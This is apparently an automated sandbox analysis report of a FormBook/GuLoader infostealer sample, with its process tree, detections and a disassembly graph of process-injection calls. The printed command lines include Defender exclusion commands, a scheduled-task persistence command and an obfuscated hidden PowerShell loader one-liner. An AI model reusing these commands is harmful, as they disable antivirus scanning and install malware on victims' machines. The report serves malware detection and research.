                                Click to jump to process

                                High Level Behavior Distribution

                                Click to dive into process behavior distribution

                                Behavior

                                Click to jump to process

                                System Behavior

                                General

                                Target ID:1
                                Start time:12:26:07
                                Start date:05/06/2024
                                Path:C:\Users\user\Desktop\P1 HWT623ATG.bat.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"
                                Imagebase:0xdd0000
                                File size:753'664 bytes
                                MD5 hash:CFD86B8016C2604EA4B9CF22E6316E22
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:low
                                Has exited:true

                                General

                                Target ID:3
                                Start time:12:26:09
                                Start date:05/06/2024
                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"
                                Imagebase:0x240000
                                File size:433'152 bytes
                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:4
                                Start time:12:26:09
                                Start date:05/06/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff75da10000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:5
                                Start time:12:26:09
                                Start date:05/06/2024
                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"
                                Imagebase:0x240000
                                File size:433'152 bytes
                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:6
                                Start time:12:26:09
                                Start date:05/06/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff75da10000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:7
                                Start time:12:26:09
                                Start date:05/06/2024
                                Path:C:\Windows\SysWOW64\schtasks.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp"
                                Imagebase:0xe60000
                                File size:187'904 bytes
                                MD5 hash:48C2FE20575769DE916F48EF0676A965
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:8
                                Start time:12:26:09
                                Start date:05/06/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff75da10000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:9
                                Start time:12:26:09
                                Start date:05/06/2024
                                Path:C:\Users\user\Desktop\P1 HWT623ATG.bat.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\Desktop\P1 HWT623ATG.bat.exe"
                                Imagebase:0x5c0000
                                File size:753'664 bytes
                                MD5 hash:CFD86B8016C2604EA4B9CF22E6316E22
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Yara matches:
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                Reputation:low
                                Has exited:true

                                General

                                Target ID:10
                                Start time:12:26:10
                                Start date:05/06/2024
                                Path:C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe
                                Wow64 process (32bit):true
                                Commandline:C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe
                                Imagebase:0x1a0000
                                File size:753'664 bytes
                                MD5 hash:CFD86B8016C2604EA4B9CF22E6316E22
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Antivirus matches:
                                • Detection: 100%, Avira
                                • Detection: 100%, Joe Sandbox ML
                                • Detection: 58%, ReversingLabs
                                Reputation:low
                                Has exited:true

                                General

                                Target ID:13
                                Start time:12:26:13
                                Start date:05/06/2024
                                Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                Imagebase:0x7ff7fb730000
                                File size:496'640 bytes
                                MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                Has elevated privileges:true
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:19
                                Start time:12:26:17
                                Start date:05/06/2024
                                Path:C:\Windows\SysWOW64\schtasks.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp"
                                Imagebase:0xe60000
                                File size:187'904 bytes
                                MD5 hash:48C2FE20575769DE916F48EF0676A965
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:22
                                Start time:12:26:17
                                Start date:05/06/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff75da10000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:23
                                Start time:12:26:17
                                Start date:05/06/2024
                                Path:C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe"
                                Imagebase:0x650000
                                File size:753'664 bytes
                                MD5 hash:CFD86B8016C2604EA4B9CF22E6316E22
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Reputation:low
                                Has exited:true

                                General

                                Target ID:25
                                Start time:14:02:11
                                Start date:05/06/2024
                                Path:C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe"
                                Imagebase:0x50000
                                File size:140'800 bytes
                                MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Yara matches:
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                Reputation:high
                                Has exited:false

                                General

                                Target ID:26
                                Start time:14:02:13
                                Start date:05/06/2024
                                Path:C:\Windows\SysWOW64\compact.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\SysWOW64\compact.exe"
                                Imagebase:0x190000
                                File size:41'472 bytes
                                MD5 hash:5CB107F69062D6D387F4F7A14737220E
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Yara matches:
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                Reputation:low
                                Has exited:false

                                General

                                Target ID:27
                                Start time:14:02:26
                                Start date:05/06/2024
                                Path:C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe"
                                Imagebase:0x50000
                                File size:140'800 bytes
                                MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Yara matches:
                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                Has exited:false

                                General

                                Target ID:30
                                Start time:14:02:43
                                Start date:05/06/2024
                                Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                Wow64 process (32bit):false
                                Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                Imagebase:0x7ff722870000
                                File size:676'768 bytes
                                MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:34
                                Start time:14:04:14
                                Start date:05/06/2024
                                Path:C:\Users\user\AppData\Local\Temp\bfc.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user~1\AppData\Local\Temp\bfc.exe"
                                Imagebase:0x400000
                                File size:1'561'888 bytes
                                MD5 hash:9468614D3915F76CE938B93A123E9043
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Antivirus matches:
                                • Detection: 11%, ReversingLabs
                                Has exited:true

                                General

                                Target ID:35
                                Start time:14:04:17
                                Start date:05/06/2024
                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):true
                                Commandline:"powershell.exe" -windowstyle hidden "$Algolagnic=Get-Content 'C:\Users\user\AppData\Local\erindres\keres\Renowned.tha';$Gnaskerierne=$Algolagnic.SubString(53079,3);.$Gnaskerierne($Algolagnic)"
                                Imagebase:0x240000
                                File size:433'152 bytes
                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:false

                                General

                                Target ID:36
                                Start time:14:04:17
                                Start date:05/06/2024
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff75da10000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:false

                                General

                                Target ID:37
                                Start time:14:04:18
                                Start date:05/06/2024
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
                                Imagebase:0x410000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:40
                                Start time:14:05:51
                                Start date:05/06/2024
                                Path:C:\Users\user\AppData\Local\Temp\Smilet.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user~1\AppData\Local\Temp\Smilet.exe"
                                Imagebase:0x400000
                                File size:1'561'888 bytes
                                MD5 hash:9468614D3915F76CE938B93A123E9043
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Yara matches:
                                • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000028.00000002.3709150978.0000000003F84000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                Antivirus matches:
                                • Detection: 11%, ReversingLabs
                                Has exited:false

                                Disassembly

                                Reset < >

                                  Execution Graph

                                  Execution Coverage:10.2%
                                  Dynamic/Decrypted Code Coverage:100%
                                  Signature Coverage:0%
                                  Total number of Nodes:206
                                  Total number of Limit Nodes:18
                                  execution_graph 30623 7936b32 30627 7939b90 30623->30627 30633 7939ba0 30623->30633 30624 7936b16 30628 7939b9a 30627->30628 30629 7939b68 30627->30629 30638 7939bd0 30628->30638 30653 7939c46 30628->30653 30629->30624 30630 7939bc7 30630->30624 30634 7939bb5 30633->30634 30636 7939bd0 12 API calls 30634->30636 30637 7939c46 12 API calls 30634->30637 30635 7939bc7 30635->30624 30636->30635 30637->30635 30639 7939bd4 30638->30639 30649 7939c02 30639->30649 30669 793a070 30639->30669 30679 793a22c 30639->30679 30685 793a0ce 30639->30685 30690 793a76f 30639->30690 30695 793a2aa 30639->30695 30705 793a1c5 30639->30705 30709 793a066 30639->30709 30719 7939ffd 30639->30719 30723 793a71f 30639->30723 30727 793a198 30639->30727 30732 793a5fa 30639->30732 30736 793a970 30639->30736 30649->30630 30654 7939bd4 30653->30654 30656 7939c49 30653->30656 30655 7939c02 30654->30655 30657 793a070 2 API calls 30654->30657 30658 793a970 2 API calls 30654->30658 30659 793a5fa 2 API calls 30654->30659 30660 793a198 2 API calls 30654->30660 30661 793a71f 2 API calls 30654->30661 30662 7939ffd 2 API calls 30654->30662 30663 793a066 2 API calls 30654->30663 30664 793a1c5 2 API calls 30654->30664 30665 793a2aa 2 API calls 30654->30665 30666 793a76f 2 API calls 30654->30666 30667 793a0ce 2 API calls 30654->30667 30668 793a22c 2 API calls 30654->30668 30655->30630 30656->30630 30657->30655 30658->30655 30659->30655 30660->30655 30661->30655 30662->30655 30663->30655 30664->30655 30665->30655 30666->30655 30667->30655 30668->30655 30674 793a05c 30669->30674 30670 793a7a7 30671 793a527 30671->30649 30672 793a06e 30672->30649 30673 793a14a 30672->30673 30675 7936470 WriteProcessMemory 30672->30675 30676 7936478 WriteProcessMemory 30672->30676 30673->30649 30674->30671 30674->30672 30741 7936470 30674->30741 30745 7936478 30674->30745 30675->30670 30676->30670 30680 793a246 30679->30680 30681 793a0ff 30679->30681 30680->30649 30749 7935df2 30681->30749 30753 7935df8 30681->30753 30682 793a0b4 30682->30649 30686 793a0db 30685->30686 30688 7935df2 ResumeThread 30686->30688 30689 7935df8 ResumeThread 30686->30689 30687 793a0b4 30687->30649 30688->30687 30689->30687 30691 793a775 30690->30691 30693 7936470 WriteProcessMemory 30691->30693 30694 7936478 WriteProcessMemory 30691->30694 30692 793a7a7 30693->30692 30694->30692 30696 793a05c 30695->30696 30696->30695 30697 793a700 30696->30697 30698 793a06e 30696->30698 30703 7936470 WriteProcessMemory 30696->30703 30704 7936478 WriteProcessMemory 30696->30704 30698->30649 30700 793a14a 30698->30700 30701 7936470 WriteProcessMemory 30698->30701 30702 7936478 WriteProcessMemory 30698->30702 30699 793a7a7 30700->30649 30701->30699 30702->30699 30703->30696 30704->30696 30757 79362e0 30705->30757 30761 79362d8 30705->30761 30706 793a1df 30710 793a05c 30709->30710 30711 793a700 30710->30711 30712 793a06e 30710->30712 30717 7936470 WriteProcessMemory 30710->30717 30718 7936478 WriteProcessMemory 30710->30718 30712->30649 30714 793a14a 30712->30714 30715 7936470 WriteProcessMemory 30712->30715 30716 7936478 WriteProcessMemory 30712->30716 30713 793a7a7 30714->30649 30715->30713 30716->30713 30717->30710 30718->30710 30765 7936700 30719->30765 30769 79366f4 30719->30769 30773 7936561 30723->30773 30777 7936568 30723->30777 30724 793a750 30728 793a1be 30727->30728 30730 7936470 WriteProcessMemory 30728->30730 30731 7936478 WriteProcessMemory 30728->30731 30729 793a943 30730->30729 30731->30729 30781 79363b2 30732->30781 30785 79363b8 30732->30785 30733 793a618 30737 793a9dd 30736->30737 30739 79362e0 Wow64SetThreadContext 30737->30739 30740 79362d8 Wow64SetThreadContext 30737->30740 30738 793a9f8 30739->30738 30740->30738 30742 7936478 WriteProcessMemory 30741->30742 30744 7936517 30742->30744 30744->30674 30746 79364c0 WriteProcessMemory 30745->30746 30748 7936517 30746->30748 30748->30674 30750 7935df8 ResumeThread 30749->30750 30752 7935e69 30750->30752 30752->30682 30754 7935e38 ResumeThread 30753->30754 30756 7935e69 30754->30756 30756->30682 30758 7936325 Wow64SetThreadContext 30757->30758 30760 793636d 30758->30760 30760->30706 30762 79362e0 Wow64SetThreadContext 30761->30762 30764 793636d 30762->30764 30764->30706 30766 7936789 30765->30766 30766->30766 30767 79368ee CreateProcessA 30766->30767 30768 793694b 30767->30768 30770 7936789 30769->30770 30770->30770 30771 79368ee CreateProcessA 30770->30771 30772 793694b 30771->30772 30774 7936568 ReadProcessMemory 30773->30774 30776 79365f7 30774->30776 30776->30724 30778 79365b3 ReadProcessMemory 30777->30778 30780 79365f7 30778->30780 30780->30724 30782 79363b8 VirtualAllocEx 30781->30782 30784 7936435 30782->30784 30784->30733 30786 79363f8 VirtualAllocEx 30785->30786 30788 7936435 30786->30788 30788->30733 30523 2fa47a8 30524 2fa47ba 30523->30524 30525 2fa47c6 30524->30525 30529 2fa48b9 30524->30529 30534 2fa4350 30525->30534 30527 2fa47e5 30530 2fa48dd 30529->30530 30538 2fa49c8 30530->30538 30542 2fa49b8 30530->30542 30535 2fa435b 30534->30535 30550 2fa5894 30535->30550 30537 2fa7a11 30537->30527 30539 2fa49ef 30538->30539 30540 2fa4acc 30539->30540 30546 2fa45b8 30539->30546 30544 2fa49c8 30542->30544 30543 2fa4acc 30543->30543 30544->30543 30545 2fa45b8 CreateActCtxA 30544->30545 30545->30543 30547 2fa5a58 CreateActCtxA 30546->30547 30549 2fa5b1b 30547->30549 30551 2fa589f 30550->30551 30554 2fa75ec 30551->30554 30553 2fa7b09 30553->30537 30555 2fa75f7 30554->30555 30558 2fa78d8 30555->30558 30557 2fa7b96 30557->30553 30559 2fa78e3 30558->30559 30561 2fa91cb 30559->30561 30564 2fab280 30559->30564 30560 2fa9209 30560->30557 30561->30560 30573 2fab990 30561->30573 30565 2fab291 30564->30565 30568 2fab2b4 30564->30568 30577 2fa8ef4 30565->30577 30568->30561 30569 2fab2ac 30569->30568 30570 2fab4b8 GetModuleHandleW 30569->30570 30571 2fab4e5 30570->30571 30571->30561 30575 2fab9b1 30573->30575 30574 2fab9d5 30574->30560 30575->30574 30590 2fabb40 30575->30590 30578 2fab470 GetModuleHandleW 30577->30578 30580 2fab29c 30578->30580 30580->30568 30581 2fab518 30580->30581 30582 2fa8ef4 GetModuleHandleW 30581->30582 30583 2fab52c 30582->30583 30584 2fab551 30583->30584 30586 2faa3a0 30583->30586 30584->30569 30587 2fab6f8 LoadLibraryExW 30586->30587 30589 2fab771 30587->30589 30589->30584 30592 2fabb4d 30590->30592 30591 2fabb87 30591->30574 30592->30591 30594 2faa404 30592->30594 30595 2faa409 30594->30595 30597 2fac8a0 30595->30597 30598 2fabd54 30595->30598 30597->30597 30599 2fabd5f 30598->30599 30600 2fa78d8 3 API calls 30599->30600 30601 2fac90f 30600->30601 30604 2fae740 30601->30604 30602 2fac949 30602->30597 30606 2fae771 30604->30606 30607 2fae871 30604->30607 30605 2fae77d 30605->30602 30606->30605 30609 2faf970 30606->30609 30607->30602 30610 2faf99b 30609->30610 30611 2fa8ef4 GetModuleHandleW 30610->30611 30612 2fafa4a 30610->30612 30611->30612 30613 2fac060 30614 2fac0a6 30613->30614 30617 2fac240 30614->30617 30620 2fabcf4 30617->30620 30621 2fac2a8 DuplicateHandle 30620->30621 30622 2fac193 30621->30622 30516 793add8 30517 793af63 30516->30517 30519 793adfe 30516->30519 30519->30517 30520 79392a0 30519->30520 30521 793b058 PostMessageW 30520->30521 30522 793b0c4 30521->30522 30522->30519

                                  Executed Functions

                                  Function 07930978 Relevance: .1, Instructions: 58COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 44bef6fe8d540858a93acd3d1050f7f9db2fb34d0be8ffc02250fec45c317196
                                  • Instruction ID: 69cf15a786fd2569fd2f20925f4e424dd061aa599206fdbb53276dcf057bd48c
                                  • Opcode Fuzzy Hash: 44bef6fe8d540858a93acd3d1050f7f9db2fb34d0be8ffc02250fec45c317196
                                  • Instruction Fuzzy Hash: 0E11F9B1D056588BEB19CF6BC8447DEFFFBAFC9304F14C46AD408A6265EB7009458AA0
                                  Function 0793A3CF Relevance: .0, Instructions: 27COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1294184947.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_7930000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 83b5aaef514032d5b3190c83f24251706248f8ac871d0eef626ad58b8a53655d
                                  • Instruction ID: 427b990adb30ddf89380cfe80b2b58c6acfa01590c1af14eff5cd92cf1b84636
                                  • Opcode Fuzzy Hash: 83b5aaef514032d5b3190c83f24251706248f8ac871d0eef626ad58b8a53655d
                                  • Instruction Fuzzy Hash: CCE0D8B5D5D104CFCB009FA064541F4BBBDD74B119F0928F6D14DDB512D2A04A108768
                                  Function 064A3307 Relevance: 12.9, Strings: 10, Instructions: 448COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 297 64a3307-64a334b 455 64a3350 call 64a3c68 297->455 456 64a3350 call 64a3c63 297->456 298 64a3356 457 64a3356 call 64a3d83 298->457 458 64a3356 call 64a3d90 298->458 299 64a335c-64a33c6 call 64a2dcc 309 64a33cb-64a33ce 299->309 310 64a33d0 309->310 311 64a33d7-64a33dc 309->311 310->311 312 64a364b-64a365a 310->312 313 64a3588-64a359b 310->313 314 64a350f-64a3575 310->314 315 64a36ac 310->315 316 64a35e3-64a35f0 310->316 317 64a3420-64a342a 310->317 318 64a34c7-64a34d1 310->318 319 64a36a5-64a36aa 310->319 320 64a35f8-64a3602 310->320 321 64a33de-64a3412 310->321 322 64a349e-64a34a5 310->322 323 64a3612 310->323 324 64a35b3-64a35c2 310->324 325 64a3451-64a3457 310->325 326 64a3675-64a3679 310->326 311->309 370 64a365c 312->370 371 64a3663-64a366a 312->371 337 64a35a2 313->337 328 64a359d 314->328 425 64a3577-64a3583 314->425 357 64a36b9-64a36bc 315->357 316->320 335 64a342c 317->335 336 64a3433-64a343d 317->336 329 64a34d3-64a34da 318->329 330 64a34f1-64a34fb 318->330 338 64a363f-64a3642 319->338 331 64a3604-64a3610 320->331 332 64a3615-64a363a 320->332 404 64a341a-64a341e 321->404 327 64a34ab-64a34b6 322->327 322->328 323->332 359 64a35dc-64a35e1 324->359 360 64a35c4-64a35ce 324->360 339 64a3459-64a345b 325->339 340 64a345d-64a3469 325->340 333 64a367b-64a3684 326->333 334 64a369c 326->334 327->328 342 64a34bc-64a34c2 327->342 328->337 329->328 344 64a34e0-64a34e7 329->344 330->328 345 64a3501-64a350d 330->345 346 64a35a7-64a35aa 331->346 332->338 352 64a368b-64a3698 333->352 353 64a3686-64a3689 333->353 358 64a369f 334->358 354 64a3431 335->354 336->328 355 64a3443-64a344f 336->355 337->346 338->312 347 64a3644 338->347 356 64a346b-64a3499 339->356 340->356 342->309 361 64a34ec 344->361 345->361 346->324 373 64a35ac 346->373 347->312 347->315 347->319 347->326 363 64a37ab-64a381b 347->363 364 64a3989-64a3990 347->364 365 64a36ce-64a36d2 347->365 366 64a387f-64a3883 347->366 367 64a3840-64a385f 347->367 368 64a3836-64a383b 347->368 369 64a3944-64a395b 347->369 372 64a369a 352->372 353->372 354->309 355->354 356->309 357->365 375 64a36be 357->375 358->319 378 64a35da 359->378 360->332 377 64a35d0-64a35d7 360->377 361->309 435 64a381d-64a3823 363->435 436 64a3833 363->436 388 64a36d4-64a36dd 365->388 389 64a36f5 365->389 380 64a38a6 366->380 381 64a3885-64a388e 366->381 449 64a3864 call 64ab548 367->449 450 64a3864 call 64ab5d8 367->450 451 64a3864 call 64ab590 367->451 452 64a3864 call 64aa4c4 367->452 453 64a3864 call 64aa4a4 367->453 454 64a3864 call 64aa4b4 367->454 368->357 412 64a395d-64a3963 369->412 413 64a3973-64a397b call 64acef8 369->413 384 64a3661 370->384 385 64a36af-64a36b4 371->385 386 64a366c-64a3673 371->386 372->358 373->312 373->315 373->316 373->319 373->320 373->323 373->324 373->326 373->363 373->364 373->365 373->366 373->367 373->368 373->369 375->363 375->364 375->365 375->366 375->367 375->368 375->369 377->378 378->346 396 64a38a9-64a390e 380->396 397 64a3890-64a3893 381->397 398 64a3895-64a38a2 381->398 384->338 385->357 386->326 386->384 390 64a36df-64a36e2 388->390 391 64a36e4-64a36f1 388->391 394 64a36f8-64a377e call 64a89ea 389->394 400 64a36f3 390->400 391->400 442 64a3784-64a3786 394->442 441 64a3914-64a392d 396->441 402 64a38a4 397->402 398->402 400->394 402->396 404->309 416 64a3967-64a3969 412->416 417 64a3965 412->417 428 64a3982-64a3984 413->428 416->413 417->413 418 64a386a-64a386c call 64abf3f 424 64a3872-64a387a 418->424 424->357 425->309 428->357 437 64a3827-64a3829 435->437 438 64a3825 435->438 436->368 437->436 438->436 441->385 448 64a3933-64a393f 441->448 443 64a3788-64a378e 442->443 444 64a379e-64a37a6 442->444 446 64a3792-64a3794 443->446 447 64a3790 443->447 444->357 446->444 447->444 448->357 449->418 450->418 451->418 452->418 453->418 454->418 455->298 456->298 457->299 458->299
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000001.00000002.1293685238.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_1_2_64a0000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Teq$Teq$Teq$Teq$Teq$Teq$$q$$q$$q$$q
                                  • API String ID: 0-1322018499
                                  • Opcode ID: a8b214efdd05316a09206a1e5e9bb89fa4e9e8b458474f485fc01264b6e08302
                                  • Instruction ID: 7ea2889beec72ef648d7110d66b7b26c5e6a1c0979f552f669997645ea21248e
                                  • Opcode Fuzzy Hash: a8b214efdd05316a09206a1e5e9bb89fa4e9e8b458474f485fc01264b6e08302
                                  • Instruction Fuzzy Hash: A3F1A634F00308EFEB669F69D9197AE7AB3EB94700F148526E506DB384DB74CC428B91
